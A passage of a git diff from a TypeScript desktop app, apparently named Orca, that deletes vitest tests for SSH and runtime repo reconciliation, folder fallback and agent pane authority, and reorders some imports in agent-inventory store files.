-    let resolveOldFolder!: (value: unknown) => void
-    runtimeEnvironmentCall.mockImplementation(({ method }) => {
-      if (method === 'projectGroup.list') {
-        return new Promise((resolve) => {
-          resolveOldGroup = resolve
-        })
-      }
-      if (method === 'folderWorkspace.list') {
-        return new Promise((resolve) => {
-          resolveOldFolder = resolve
-        })
-      }
-      throw new Error(`Unexpected method: ${method}`)
-    })
-    const store = createTestStore()
-    store
-      .getState()
-      .setRuntimeEnvironments([{ id: 'env-1', createdAt: 1, pairingRevision: 1 } as never])
-    const pending = store.getState().fetchProjectGroups({ runtimeEnvironmentId: 'env-1' })
-    const pendingFolders = store.getState().fetchFolderWorkspaces({ runtimeEnvironmentId: 'env-1' })
-    await vi.waitFor(() => expect(resolveOldGroup).toBeTypeOf('function'))
-    await vi.waitFor(() => expect(resolveOldFolder).toBeTypeOf('function'))
-    store
-      .getState()
-      .setRuntimeEnvironments([{ id: 'env-1', createdAt: 1, pairingRevision: 2 } as never])
-    const newGroup = {
-      ...projectGroup,
-      id: 'group-after-reconnect',
-      executionHostId: 'runtime:env-1'
-    }
-    const newFolder: FolderWorkspace = {
-      id: 'folder-after-reconnect',
-      projectGroupId: newGroup.id,
-      name: 'New folder',
-      folderPath: '/runtime/new',
-      executionHostId: 'runtime:env-1',
-      linkedTask: null,
-      comment: '',
-      isArchived: false,
-      isUnread: false,
-      isPinned: false,
-      sortOrder: 0,
-      lastActivityAt: 0,
-      createdAt: 1,
-      updatedAt: 1
-    }
-    store.setState({ projectGroups: [newGroup], folderWorkspaces: [newFolder] })
-    resolveOldGroup({
-      id: 'rpc-before-reconnect',
-      ok: true,
-      result: { groups: [{ ...projectGroup, id: 'stale-group' }] },
-      _meta: { runtimeId: 'runtime-old' }
-    })
-    resolveOldFolder({
-      id: 'rpc-folder-before-reconnect',
-      ok: true,
-      result: {
-        folderWorkspaces: [
-          {
-            ...newFolder,
-            id: 'stale-folder',
-            executionHostId: undefined
-          }
-        ]
-      },
-      _meta: { runtimeId: 'runtime-old' }
-    })
-    await pending
-    await pendingFolders
-
-    expect(store.getState().projectGroups).toEqual([newGroup])
-    expect(store.getState().folderWorkspaces).toEqual([newFolder])
-  })
 })
diff --git a/src/renderer/src/store/repos/repos-ssh-host-reconciliation.test.ts b/src/renderer/src/store/repos/repos-ssh-host-reconciliation.test.ts
index 6f06a20df4f..f171231d6dc 100644
--- a/src/renderer/src/store/repos/repos-ssh-host-reconciliation.test.ts
+++ b/src/renderer/src/store/repos/repos-ssh-host-reconciliation.test.ts
@@ -148,67 +148,6 @@ beforeEach(() => {
 describe('SSH repo host reconciliation', () => {
   const readoption = { oldTargetId: 'ssh-old', newTargetId: 'ssh-new', repoIds: [repoId] }
 
-  it('reconciles when repos:changed finishes before add-target evidence arrives', async () => {
-    const staleRepo = directSshRepo('ssh-old')
-    const liveRepo = directSshRepo('ssh-new')
-    reposList.mockResolvedValue([liveRepo])
-    projectsList.mockResolvedValue([project])
-    setupsList.mockResolvedValue([directSshSetup('ssh-new')])
-    const store = createTestStore()
-    store.setState({
-      repos: [staleRepo],
-      projectHostSetups: [directSshSetup('ssh-old')],
-      worktreesByRepo: {
-        [repoId]: [
-          directSshWorktree('ssh-old', 'stale'),
-          directSshWorktree('ssh-new', 'authoritative')
-        ]
-      }
-    })
-
-    await store.getState().fetchReposForAllHosts({ remoteHosts: 'skip' })
-    expect(store.getState().repos).toEqual([staleRepo, liveRepo])
-
-    store.getState().recordSshRepoReadoptions([readoption])
-
-    expect(store.getState().repos).toEqual([liveRepo])
-    expect(store.getState().projectHostSetups).toEqual([directSshSetup('ssh-new')])
-    expect(store.getState().worktreesByRepo[repoId]).toEqual([
-      directSshWorktree('ssh-new', 'authoritative')
-    ])
-  })
-
-  it('keeps evidence pending until repos:changed delivers the new-host row', async () => {
-    const liveRepo = directSshRepo('ssh-new')
-    const runtimeSetup: ProjectHostSetup = {
-      ...directSshSetup('ssh-runtime'),
-      id: 'runtime-setup',
-      hostId: 'runtime:env-1',
-      executionHostId: 'runtime:env-1'
-    }
-    reposList.mockResolvedValue([liveRepo])
-    projectsList.mockResolvedValue([project])
-    setupsList.mockResolvedValue([directSshSetup('ssh-new')])
-    const store = createTestStore()
-    store.setState({
-      repos: [directSshRepo('ssh-old')],
-      projectHostSetups: [directSshSetup('ssh-old'), runtimeSetup]
-    })
-
-    store.getState().recordSshRepoReadoptions([readoption])
-    expect(store.getState().repos).toEqual([directSshRepo('ssh-old')])
-    expect(store.getState().pendingSshRepoReadoptions).toEqual([readoption])
-
-    await store.getState().fetchReposForAllHosts({ remoteHosts: 'skip' })
-
-    expect(store.getState().repos).toEqual([liveRepo])
-    expect(store.getState().projectHostSetups).toEqual(
-      expect.arrayContaining([directSshSetup('ssh-new'), runtimeSetup])
-    )
-    expect(store.getState().projectHostSetups).toHaveLength(2)
-    expect(store.getState().pendingSshRepoReadoptions).toEqual([])
-  })
-
   it('drops an older all-host catalog that resolves after evidence is consumed', async () => {
     const staleRepo = directSshRepo('ssh-old')
     const liveRepo = directSshRepo('ssh-new')
@@ -304,74 +243,4 @@ describe('SSH repo host reconciliation', () => {
       }
     ])
   })
-
-  it('rejects a worktree response after its final repo owner is removed', async () => {
-    const staleWorktree = directSshWorktree('ssh-old', 'stale')
-    const oldAuthority = directSshAuthority('ssh-old')
-    let providerRequest!: ListDetectedWorktreesArgs
-    let resolveOldWorktrees!: (value: HostQualifiedDetectedWorktreeResult) => void
-    const oldWorktrees = new Promise<HostQualifiedDetectedWorktreeResult>((resolve) => {
-      resolveOldWorktrees = resolve
-    })
-    worktreesListDetected.mockImplementationOnce((request: ListDetectedWorktreesArgs) => {
-      providerRequest = request
-      return oldWorktrees
-    })
-    const store = createTestStore()
-    store.setState({
-      repos: [directSshRepo('ssh-old')],
-      sshConnectionStates: new Map([['ssh-old', connectedSshState(oldAuthority)]])
-    })
-
-    const staleFetch = store.getState().fetchWorktrees(repoId)
-    await vi.waitFor(() => expect(worktreesListDetected).toHaveBeenCalled())
-    expect(worktreesListDetected).toHaveBeenCalledOnce()
-    expect(providerRequest).toMatchObject({
-      repoId,
-      executionHostId: 'ssh:ssh-old',
-      expectedAuthority: oldAuthority
-    })
-    store.setState({ repos: [], worktreesByRepo: {}, detectedWorktreesByRepo: {} })
-    resolveOldWorktrees(qualifiedWorktreeResult(providerRequest, staleWorktree))
-    await expect(staleFetch).resolves.toBe(false)
-
-    expect(store.getState().worktreesByRepo[repoId]).toBeUndefined()
-    expect(store.getState().detectedWorktreesByRepo[repoId]).toBeUndefined()
-  })
-
-  it.each([
-    ['contradictory', { ...directSshRepo('ssh-old'), connectionId: 'ssh-new' }],
-    [
-      'malformed',
-      { ...directSshRepo('ssh-old'), executionHostId: 'ssh:%' as Repo['executionHostId'] }
-    ],
-    ['empty explicit host', { ...directSshRepo('ssh-old'), executionHostId: '' }],
-    ['empty connection', { ...directSshRepo('ssh-old'), connectionId: ' ' }]
-  ])('rejects a late worktree response when repo owner provenance becomes %s', async (_, owner) => {
-    const staleWorktree = directSshWorktree('ssh-old', 'stale')
-    const oldAuthority = directSshAuthority('ssh-old')
-    let providerRequest!: ListDetectedWorktreesArgs
-    let resolveOldWorktrees!: (value: HostQualifiedDetectedWorktreeResult) => void
-    const oldWorktrees = new Promise<HostQualifiedDetectedWorktreeResult>((resolve) => {
-      resolveOldWorktrees = resolve
-    })
-    worktreesListDetected.mockImplementationOnce((request: ListDetectedWorktreesArgs) => {
-      providerRequest = request
-      return oldWorktrees
-    })
-    const store = createTestStore()
-    store.setState({
-      repos: [directSshRepo('ssh-old')],
-      sshConnectionStates: new Map([['ssh-old', connectedSshState(oldAuthority)]])
-    })
-
-    const staleFetch = store.getState().fetchWorktrees(repoId)
-    await vi.waitFor(() => expect(worktreesListDetected).toHaveBeenCalledOnce())
-    store.setState({ repos: [owner as Repo] })
-    resolveOldWorktrees(qualifiedWorktreeResult(providerRequest, staleWorktree))
-    await expect(staleFetch).resolves.toBe(false)
-
-    expect(store.getState().worktreesByRepo[repoId]).toBeUndefined()
-    expect(store.getState().detectedWorktreesByRepo[repoId]).toBeUndefined()
-  })
 })
diff --git a/src/renderer/src/store/repos/repos.runtime-fallback.test.ts b/src/renderer/src/store/repos/repos.runtime-fallback.test.ts
index 3da2c1c8600..254d8c1bdfb 100644
--- a/src/renderer/src/store/repos/repos.runtime-fallback.test.ts
+++ b/src/renderer/src/store/repos/repos.runtime-fallback.test.ts
@@ -1,10 +1,9 @@
 import { beforeEach, describe, expect, it, vi } from 'vitest'
 import { createTestStore } from '../testing/app-store-test-fixture'
 import type { Repo } from '../../../../shared/repo-types'
-import { FOLDER_WORKSPACE_PATH_STATUS_RUNTIME_CAPABILITY } from '../../../../shared/worktree-runtime-capabilities'
-import { RUNTIME_CAPABILITIES } from '../../../../shared/protocol-version'
+import '../../../../shared/worktree-runtime-capabilities'
+import '../../../../shared/protocol-version'
 import {
-  createCompatibleRuntimeStatusResponse,
   createCompatibleRuntimeStatusResponseIfNeeded,
   type RuntimeEnvironmentCallRequest
 } from '../../runtime/rpc/testing/runtime-compatibility-test-fixture'
@@ -48,154 +47,6 @@ beforeEach(() => {
 })
 
 describe('repo slice runtime folder fallback', () => {
-  it('blocks wrong-host runtime fallback', async () => {
-    runtimeEnvironmentCall.mockImplementation((request: RuntimeEnvironmentCallRequest) => {
-      const { method } = request
-      if (method === 'repo.add') {
-        return {
-          id: 'rpc-add-git',
-          ok: false,
-          error: { code: 'repo.invalid', message: 'Not a valid git repository' },
-          _meta: { runtimeId: 'runtime-remote' }
-        }
-      }
-      if (method === 'folderWorkspace.getPathStatus') {
-        return {
-          id: 'rpc-path-status',
-          ok: true,
-          result: {
-            status: {
-              path: '/Users/me/GitHub/travel-hub',
-              exists: false,
-              reason: 'missing'
-            }
-          },
-          _meta: { runtimeId: 'runtime-remote' }
-        }
-      }
-      if (method === 'projectGroup.delete') {
-        return {
-          id: 'rpc-delete-status-scope',
-          ok: true,
-          result: { deleted: true },
-          _meta: { runtimeId: 'runtime-remote' }
-        }
-      }
-      throw new Error(`Unexpected runtime method ${method}`)
-    })
-    const store = createTestStore()
-    store.setState({
-      settings: { activeRuntimeEnvironmentId: 'env-1' } as never,
-      runtimeEnvironments: [{ id: 'env-1', name: 'Remote Mac' }] as never
-    })
-
-    await expect(
-      store.getState().addRepoPath('/Users/me/GitHub/travel-hub', 'git')
-    ).resolves.toBeNull()
-
-    expect(store.getState().activeModal).not.toBe('confirm-non-git-folder')
-    expect(runtimeEnvironmentCall).toHaveBeenCalledWith({
-      selector: 'env-1',
-      method: 'folderWorkspace.getPathStatus',
-      params: { scope: 'path', path: '/Users/me/GitHub/travel-hub' },
-      timeoutMs: 15_000
-    })
-    expect(toastError).toHaveBeenCalledWith(
-      'Cannot open folder on selected runtime',
-      expect.objectContaining({
-        description: expect.stringContaining('Remote Mac')
-      })
-    )
-  })
-
-  it('treats runtime status RPC failures as host-scoped errors', async () => {
-    runtimeEnvironmentCall.mockImplementation((request: RuntimeEnvironmentCallRequest) => {
-      const { method } = request
-      if (method === 'repo.add') {
-        return {
-          id: 'rpc-add-git',
-          ok: false,
-          error: { code: 'repo.invalid', message: 'Not a valid git repository' },
-          _meta: { runtimeId: 'runtime-remote' }
-        }
-      }
-      if (method === 'folderWorkspace.getPathStatus') {
-        throw new Error('status unavailable')
-      }
-      throw new Error(`Unexpected runtime method ${method}`)
-    })
-    const store = createTestStore()
-    store.setState({
-      settings: { activeRuntimeEnvironmentId: 'env-1' } as never,
-      runtimeEnvironments: [{ id: 'env-1', name: 'Remote Mac' }] as never
-    })
-
-    await expect(
-      store.getState().addRepoPath('/Users/me/GitHub/travel-hub', 'git')
-    ).resolves.toBeNull()
-
-    expect(store.getState().activeModal).not.toBe('confirm-non-git-folder')
-    expect(toastError).toHaveBeenCalledWith(
-      'Cannot open folder on selected runtime',
-      expect.objectContaining({
-        description: expect.stringContaining('Remote Mac')
-      })
-    )
-  })
-
-  it('reports an update error when the checked runtime lacks raw path status support', async () => {
-    runtimeEnvironmentTransportCall.mockImplementation((args: RuntimeEnvironmentCallRequest) => {
-      if (args.method === 'status.get') {
-        const response = createCompatibleRuntimeStatusResponse()
-        if (!response.ok) {
-          throw new Error('Expected compatible runtime status fixture')
-        }
-        return {
-          ...response,
-          result: {
-            ...response.result,
-            capabilities: RUNTIME_CAPABILITIES.filter(
-              (capability) => capability !== FOLDER_WORKSPACE_PATH_STATUS_RUNTIME_CAPABILITY
-            )
-          }
-        }
-      }
-      return runtimeEnvironmentCall(args)
-    })
-    runtimeEnvironmentCall.mockImplementation((request: RuntimeEnvironmentCallRequest) => {
-      const { method } = request
-      if (method === 'repo.add') {
-        return {
-          id: 'rpc-add-git',
-          ok: false,
-          error: { code: 'repo.invalid', message: 'Not a valid git repository' },
-          _meta: { runtimeId: 'runtime-remote' }
-        }
-      }
-      throw new Error(`Unexpected runtime method ${method}`)
-    })
-    const store = createTestStore()
-    store.setState({
-      settings: { activeRuntimeEnvironmentId: 'env-1' } as never,
-      runtimeEnvironments: [{ id: 'env-1', name: 'Remote Mac' }] as never
-    })
-
-    await expect(store.getState().addRepoPath('/srv/non-git', 'git')).resolves.toBeNull()
-
-    expect(store.getState().activeModal).not.toBe('confirm-non-git-folder')
-    expect(runtimeEnvironmentCall).not.toHaveBeenCalledWith(
-      expect.objectContaining({
-        method: 'folderWorkspace.getPathStatus'
-      })
-    )
-    expect(toastError).toHaveBeenCalledWith(
-      'Failed to add project',
-      expect.objectContaining({
-        description: 'Update Orca server to open non-Git folders on this runtime.'
-      })
-    )
-  })
-
   it('keeps runtime folder fallback on the checked host', async () => {
     const folderRepo: Repo = {
       ...remoteRepo,
diff --git a/src/renderer/src/store/repos/repos.test.ts b/src/renderer/src/store/repos/repos.test.ts
index a75c47051a8..0908462a5de 100644
--- a/src/renderer/src/store/repos/repos.test.ts
+++ b/src/renderer/src/store/repos/repos.test.ts
@@ -2,22 +2,16 @@ import { describe, expect, it, vi } from 'vitest'
 import { getRepoExecutionHostId } from '../../../../shared/execution-host'
 import { createTestStore } from '../testing/app-store-test-fixture'
 import { makeWorktree } from '../slices/worktrees/worktree.test-fixture'
-import { workItemsCacheKey } from '../github/cache/cache-identity'
 
 import type { Repo } from '../../../../shared/repo-types'
-import { toast } from 'sonner'
 import '../../../../shared/global-settings-test-fixture'
 import '../../web/preload-api/web-fallback-api'
 import {
   installReposRuntimeRoutingHarness,
-  localRepo,
-  projectsSetupExistingFolder,
   ptyKill,
   remoteRepo,
-  reposRemoveForHost,
   runtimeEnvironmentCall,
-  runtimeEnvironmentsList,
-  sshRepo
+  runtimeEnvironmentsList
 } from './repo-runtime-routing.test-fixture'
 
 vi.mock('sonner', () => ({
@@ -36,81 +30,6 @@ const ownerOf = (repo: Repo) => ({ hostId: getRepoExecutionHostId(repo) })
 const serverRepo: Repo = { ...remoteRepo, executionHostId: 'runtime:env-1' }
 
 describe('repo slice runtime routing', () => {
-  it('names an SSH host without a server and offers Connect, never its raw id (#37767)', async () => {
-    const store = createTestStore()
-    store.setState({ sshTargetLabels: new Map([['ssh-1', 'build box']]) })
-    const connect = vi.fn().mockResolvedValue(null)
-    Object.assign(window.api, { ssh: { connect } })
-
-    await expect(
-      store.getState().setupProjectExistingFolder({
-        projectId: 'github:acme/orca',
-        hostId: 'ssh:ssh-1',
-        path: '/srv/orca',
-        kind: 'git'
-      })
-    ).resolves.toBeNull()
-
-    expect(projectsSetupExistingFolder).not.toHaveBeenCalled()
-    const [, options] = vi.mocked(toast.error).mock.calls[0] ?? []
-    expect(options?.description).toContain('build box')
-    expect(options?.description).not.toContain('ssh-1')
-    const action = options?.action
-    if (!action || typeof action !== 'object' || !('onClick' in action)) {
-      throw new Error('expected a Connect action')
-    }
-    // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the action ignores its click event.
-    action.onClick({} as never)
-    expect(connect).toHaveBeenCalledWith({ targetId: 'ssh-1' })
-  })
-
-  it('drops persisted visit timestamps for removed unhydrated SSH repos', async () => {
-    const store = createTestStore()
-    const sshWorktreeId = `${sshRepo.id}::/home/orca/wt`
-    const localWorktreeId = `${localRepo.id}::/local/wt`
-    store.setState({
-      repos: [sshRepo, localRepo],
-      activeRepoId: sshRepo.id,
-      lastVisitedAtByWorktreeId: {
-        [sshWorktreeId]: 100,
-        [localWorktreeId]: 200
-      }
-    })
-
-    await store.getState().removeProject(sshRepo.id, ownerOf(sshRepo))
-
-    expect(store.getState().repos).toEqual([localRepo])
-    expect(store.getState().lastVisitedAtByWorktreeId).toEqual({ [localWorktreeId]: 200 })
-    expect(reposRemoveForHost).toHaveBeenCalledWith({ repoId: sshRepo.id, hostId: 'ssh:ssh-1' })
-  })
-
-  it('evicts GitHub caches for removed repos using repo id and legacy path keys', async () => {
-    const store = createTestStore()
-    store.setState({
-      repos: [localRepo],
-      workItemsInvalidationNonce: 2,
-      workItemsCache: {
-        [workItemsCacheKey(localRepo.id, 20, '')]: { data: [], fetchedAt: 1 },
-        [workItemsCacheKey(localRepo.path, 20, '')]: { data: [], fetchedAt: 1 },
-        [workItemsCacheKey('other-repo', 20, '')]: { data: [], fetchedAt: 1 }
-      },
-      prCache: {
-        [`${localRepo.id}::branch`]: { data: {} as never, fetchedAt: 1 },
-        [`${localRepo.path}::branch`]: { data: {} as never, fetchedAt: 1 },
-        'other-repo::branch': { data: {} as never, fetchedAt: 1 }
-      }
-    })
-
-    await store.getState().removeProject(localRepo.id, ownerOf(localRepo))
-
-    expect(Object.keys(store.getState().workItemsCache)).toEqual([
-      workItemsCacheKey('other-repo', 20, '')
-    ])
-    expect(Object.keys(store.getState().prCache)).toEqual(['other-repo::branch'])
-    // A refetch signal only: eviction and the retired source owner may each bump it.
-    expect(store.getState().workItemsInvalidationNonce).toBeGreaterThan(2)
-  })
-
   it('stops remote runtime terminals instead of killing remote ids through local pty IPC', async () => {
     runtimeEnvironmentsList.mockResolvedValue([{ id: 'env-1' }])
     runtimeEnvironmentCall.mockResolvedValue({
@@ -148,46 +67,4 @@ describe('repo slice runtime routing', () => {
     expect(ptyKill).toHaveBeenCalledWith('pty-local-stale')
     expect(ptyKill).not.toHaveBeenCalledWith('remote:term-1')
   })
-
-  it('cleans up hidden detected worktree state when removing a repo', async () => {
-    const store = createTestStore()
-    const hiddenWorktree = makeWorktree({
-      id: `${localRepo.id}::/local/hidden`,
-      repoId: localRepo.id,
-      path: '/local/hidden'
-    })
-    store.setState({
-      repos: [localRepo],
-      worktreesByRepo: { [localRepo.id]: [] },
-      detectedWorktreesByRepo: {
-        [localRepo.id]: {
-          repoId: localRepo.id,
-          authoritative: true,
-          source: 'git',
-          worktrees: [
-            {
-              ...hiddenWorktree,
-              ownership: 'external',
-              selectedCheckout: false,
-              visible: false
-            }
-          ]
-        }
-      },
-      tabsByWorktree: {
-        [hiddenWorktree.id]: [{ id: 'tab-hidden', worktreeId: hiddenWorktree.id }] as never
-      },
-      ptyIdsByTabId: {
-        'tab-hidden': ['pty-hidden']
-      },
-      activeWorktreeId: hiddenWorktree.id
-    })
-
-    await store.getState().removeProject(localRepo.id, ownerOf(localRepo))
-
-    expect(store.getState().detectedWorktreesByRepo[localRepo.id]).toBeUndefined()
-    expect(store.getState().tabsByWorktree[hiddenWorktree.id]).toBeUndefined()
-    expect(store.getState().activeWorktreeId).toBeNull()
-    expect(ptyKill).toHaveBeenCalledWith('pty-hidden')
-  })
 })
diff --git a/src/renderer/src/store/slices/agent-inventory/local-agent-inventory-outcome.ts b/src/renderer/src/store/slices/agent-inventory/local-agent-inventory-outcome.ts
index 46188ab60c8..4b3653f93ba 100644
--- a/src/renderer/src/store/slices/agent-inventory/local-agent-inventory-outcome.ts
+++ b/src/renderer/src/store/slices/agent-inventory/local-agent-inventory-outcome.ts
@@ -1,7 +1,7 @@
+import { getLocalAgentPreflightContext } from '@/runtime/hosts/preflight/local-preflight-context'
+import { localAgentInventoryContextKey } from '@/runtime/hosts/preflight/local-preflight-context-key'
 import type { AppState } from '../../types'
 import type { TuiAgent } from '../../../../../shared/agent-launch/catalog/tui-agent'
-import { getLocalAgentPreflightContext } from '@/lib/local-preflight-context'
-import { localAgentInventoryContextKey } from '@/lib/local-preflight-context-key'
 
 /** A context's list and latest attempt outcome; a list kept through a failed refresh is failed. */
 export function readLocalAgentInventoryOutcome(
diff --git a/src/renderer/src/store/slices/agent-inventory/local-agent-inventory-refresh.ts b/src/renderer/src/store/slices/agent-inventory/local-agent-inventory-refresh.ts
index 56d844d3946..9f07f888350 100644
--- a/src/renderer/src/store/slices/agent-inventory/local-agent-inventory-refresh.ts
+++ b/src/renderer/src/store/slices/agent-inventory/local-agent-inventory-refresh.ts
@@ -1,15 +1,15 @@
-import type { StoreApi } from 'zustand'
-import type { AppState } from '../../types'
-import type { TuiAgent } from '../../../../../shared/agent-launch/catalog/tui-agent'
 import { isTuiAgent } from '../../../../../shared/agent-launch/catalog/tui-agent-config'
 import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants'
 import { filterEnabledTuiAgents } from '../../../../../shared/agent-launch/catalog/tui-agent-selection'
-import { getLocalAgentPreflightContext } from '@/lib/local-preflight-context'
-import { localAgentInventoryContextKey } from '@/lib/local-preflight-context-key'
+import { getLocalAgentPreflightContext } from '@/runtime/hosts/preflight/local-preflight-context'
+import { localAgentInventoryContextKey } from '@/runtime/hosts/preflight/local-preflight-context-key'
 import * as contextEviction from './local-agent-context-eviction'
 import { getLegacyLoadingPatch, getSupersededDetectPatch } from './local-agent-legacy-loading'
-import type { LocalAgentRefreshOptions } from './local-detected-agent-store-state'
 import { isWslDistroNotRunningRefusal } from '../../../../../shared/wsl-distro-not-running-refusal'
+import type { StoreApi } from 'zustand'
+import type { AppState } from '../../types'
+import type { TuiAgent } from '../../../../../shared/agent-launch/catalog/tui-agent'
+import type { LocalAgentRefreshOptions } from './local-detected-agent-store-state'
 
 export type LocalAgentInventoryLifecycle = {
   detectPromises: Map<string, Promise<TuiAgent[]>>
diff --git a/src/renderer/src/store/slices/agent-inventory/local-detected-agent-state.ts b/src/renderer/src/store/slices/agent-inventory/local-detected-agent-state.ts
index af79fb5d1c5..1b1d85f6215 100644
--- a/src/renderer/src/store/slices/agent-inventory/local-detected-agent-state.ts
+++ b/src/renderer/src/store/slices/agent-inventory/local-detected-agent-state.ts
@@ -1,24 +1,21 @@
-import type { StateCreator } from 'zustand'
-import type { AppState } from '../../types'
 import { haveSameDisabledTuiAgents } from '../../../../../shared/agent-launch/catalog/tui-agent-selection'
-import type { TuiAgent } from '../../../../../shared/agent-launch/catalog/tui-agent'
 import { isTuiAgent } from '../../../../../shared/agent-launch/catalog/tui-agent-config'
 import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants'
-import { getLocalAgentPreflightContext } from '@/lib/local-preflight-context'
-import { localAgentInventoryContextKey } from '@/lib/local-preflight-context-key'
+import { getLocalAgentPreflightContext } from '@/runtime/hosts/preflight/local-preflight-context'
+import { localAgentInventoryContextKey } from '@/runtime/hosts/preflight/local-preflight-context-key'
 import * as contextEviction from './local-agent-context-eviction'
 import { getLegacyLoadingPatch } from './local-agent-legacy-loading'
-import {
-  markLocalAgentRefusal,
-  refreshLocalAgentInventory,
-  type LocalAgentInventoryLifecycle
-} from './local-agent-inventory-refresh'
-import {
-  createEmptyLocalDetectedAgentState,
-  type LocalAgentRefreshOptions,
-  type LocalDetectedAgentState
+import { markLocalAgentRefusal, refreshLocalAgentInventory } from './local-agent-inventory-refresh'
+import type { LocalAgentInventoryLifecycle } from './local-agent-inventory-refresh'
+import { createEmptyLocalDetectedAgentState } from './local-detected-agent-store-state'
+import type {
+  LocalAgentRefreshOptions,
+  LocalDetectedAgentState
 } from './local-detected-agent-store-state'
 import { readLocalAgentInventoryOutcome } from './local-agent-inventory-outcome'
+import type { StateCreator } from 'zustand'
+import type { AppState } from '../../types'
+import type { TuiAgent } from '../../../../../shared/agent-launch/catalog/tui-agent'
 
 function haveSameCommandOverrides(
   a: Partial<Record<string, string>> | undefined,
diff --git a/src/renderer/src/store/slices/agent-status/agent-pane-authority.test.ts b/src/renderer/src/store/slices/agent-status/agent-pane-authority.test.ts
index 4e02416a76a..ffe576f6a22 100644
--- a/src/renderer/src/store/slices/agent-status/agent-pane-authority.test.ts
+++ b/src/renderer/src/store/slices/agent-status/agent-pane-authority.test.ts
@@ -1,17 +1,13 @@
 import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
 import { makePaneKey } from '../../../../../shared/workspace-layout/stable-pane-id'
 import {
-  forgetAgentPaneAuthorityAliasesByTabIds,
   resetAgentPaneAuthorityAliasesForTests,
-  resolveAgentPaneAuthorityKey,
-  transferAgentPaneAuthorityAlias
+  resolveAgentPaneAuthorityKey
 } from './agent-pane-authority'
 import { createTestStore } from '../../testing/app-store-test-fixture'
 
 const SOURCE = makePaneKey('tab-source', '11111111-1111-4111-8111-111111111111')
 const TARGET = makePaneKey('tab-target', '22222222-2222-4222-8222-222222222222')
-const FINAL = makePaneKey('tab-final', '33333333-3333-4333-8333-333333333333')
-const SIBLING = makePaneKey('tab-target', '44444444-4444-4444-8444-444444444444')
 
 const retirePaneAuthority = vi.fn()
 const restorePaneAuthority = vi.fn()
@@ -40,39 +36,6 @@ afterEach(() => {
 })
 
 describe('agent pane authority', () => {
-  it('retires one pane, clears resume authority, and rejects late status without harming siblings', () => {
-    const store = createTestStore()
-    store.getState().setAgentStatus(TARGET, { state: 'working', prompt: 'target' })
-    store.getState().setAgentStatus(SIBLING, { state: 'working', prompt: 'sibling' })
-    store.getState().registerAgentLaunchConfig(TARGET, { agentArgs: '', agentEnv: {} })
-    store.setState({
-      sleepingAgentSessionsByPaneKey: {
-        [TARGET]: {
-          paneKey: TARGET,
-          tabId: 'tab-target',
-          worktreeId: 'wt-1',
-          agent: 'codex',
-          providerSession: { key: 'session_id', id: 'session-1' },
-          prompt: 'continue',
-          state: 'working',
-          capturedAt: 1,
-          updatedAt: 1
-        }
-      }
-    })
-
-    store.getState().retireAgentPaneAuthority(TARGET)
-    store.getState().setAgentStatus(TARGET, { state: 'done', prompt: 'late' })
-
-    const state = store.getState()
-    expect(state.agentStatusByPaneKey[TARGET]).toBeUndefined()
-    expect(state.agentLaunchConfigByPaneKey[TARGET]).toBeUndefined()
-    expect(state.sleepingAgentSessionsByPaneKey[TARGET]).toBeUndefined()
-    expect(state.agentStatusByPaneKey[SIBLING]).toBeDefined()
-    expect(state.recentlyRetiredAgentStatusPaneKeys[TARGET]).toEqual(expect.any(String))
-    expect(retirePaneAuthority).toHaveBeenCalledWith(TARGET, expect.any(String))
-  })
-
   // Detach/reattach must lift renderer tombstones or still-running panes lose status permanently (STA-4114).
   it('lifts the retirement fence on re-attach so an in-flight turn can still report done', () => {
     const store = createTestStore()
@@ -103,110 +66,6 @@ describe('agent pane authority', () => {
     expect(store.getState().agentStatusByPaneKey[TARGET]).toBeUndefined()
   })
 
-  it('can retire live pane authority while retaining its sleeping session', () => {
-    const store = createTestStore()
-    store.getState().setAgentStatus(TARGET, { state: 'working', prompt: 'target' })
-    store.getState().registerAgentLaunchConfig(TARGET, { agentArgs: '', agentEnv: {} })
-    store.setState({
-      sleepingAgentSessionsByPaneKey: {
-        [TARGET]: {
-          paneKey: TARGET,
-          tabId: 'tab-target',
-          worktreeId: 'wt-1',
-          agent: 'codex',
-          providerSession: { key: 'session_id', id: 'session-1' },
-          prompt: 'continue',
-          state: 'working',
-          capturedAt: 1,
-          updatedAt: 1
-        }
-      }
-    })
-
-    store.getState().retireAgentPaneAuthority(TARGET, { preserveSleepingAgentSession: true })
-
-    const state = store.getState()
-    expect(state.agentStatusByPaneKey[TARGET]).toBeUndefined()
-    expect(state.agentLaunchConfigByPaneKey[TARGET]).toBeUndefined()
-    expect(state.sleepingAgentSessionsByPaneKey[TARGET]).toMatchObject({
-      providerSession: { key: 'session_id', id: 'session-1' }
-    })
-    expect(state.recentlyRetiredAgentStatusPaneKeys[TARGET]).toEqual(expect.any(String))
-    expect(retirePaneAuthority).toHaveBeenCalledWith(TARGET, expect.any(String))
-  })
-
-  it('keeps a physical pane routed through chained detaches until its current owner closes', () => {
-    const store = createTestStore()
-    store.getState().setAgentStatus(SOURCE, { state: 'working', prompt: 'source' })
-    store.setState({
-      sleepingAgentSessionsByPaneKey: {
-        [SOURCE]: {
-          paneKey: SOURCE,
-          tabId: 'tab-source',
-          worktreeId: 'wt-1',
-          agent: 'codex',
-          providerSession: { key: 'session_id', id: 'session-1' },
-          prompt: 'continue',
-          state: 'working',
-          capturedAt: 1,
-          updatedAt: 1
-        }
-      }
-    })
-
-    store
-      .getState()
-      .transferAgentPaneAuthority({ fromPaneKey: SOURCE, toPaneKey: TARGET, ptyId: 'pty-1' })
-    store
-      .getState()
-      .transferAgentPaneAuthority({ fromPaneKey: TARGET, toPaneKey: FINAL, ptyId: 'pty-1' })
-    store.getState().dropAgentStatusByTabPrefix('tab-source')
-
-    expect(resolveAgentPaneAuthorityKey(SOURCE)).toBe(FINAL)
-    expect(resolveAgentPaneAuthorityKey(TARGET)).toBe(FINAL)
-    expect(store.getState().sleepingAgentSessionsByPaneKey[FINAL]).toMatchObject({
-      paneKey: FINAL,
-      tabId: 'tab-final',
-      providerSession: { key: 'session_id', id: 'session-1' }
-    })
-    store.getState().setAgentStatus(SOURCE, { state: 'working', prompt: 'after source close' })
-    expect(store.getState().agentStatusByPaneKey[FINAL]?.prompt).toBe('after source close')
-    expect(transferPaneAuthority).toHaveBeenNthCalledWith(1, {
-      fromPaneKey: SOURCE,
-      toPaneKey: TARGET,
-      ptyId: 'pty-1'
-    })
